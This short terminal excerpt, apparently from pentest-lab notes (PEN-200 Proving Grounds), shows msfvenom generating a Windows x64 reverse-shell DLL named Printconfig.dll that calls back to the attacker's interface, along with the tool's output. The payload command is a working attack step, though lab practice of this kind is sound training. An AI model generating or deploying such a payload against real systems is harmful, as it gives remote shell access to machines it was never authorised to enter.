msfvenem
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/access]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$tun0 LPORT=1234 -f dll -o Printconfig.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: Printconfig.dll
msfvenom generated a reverse shell DLL file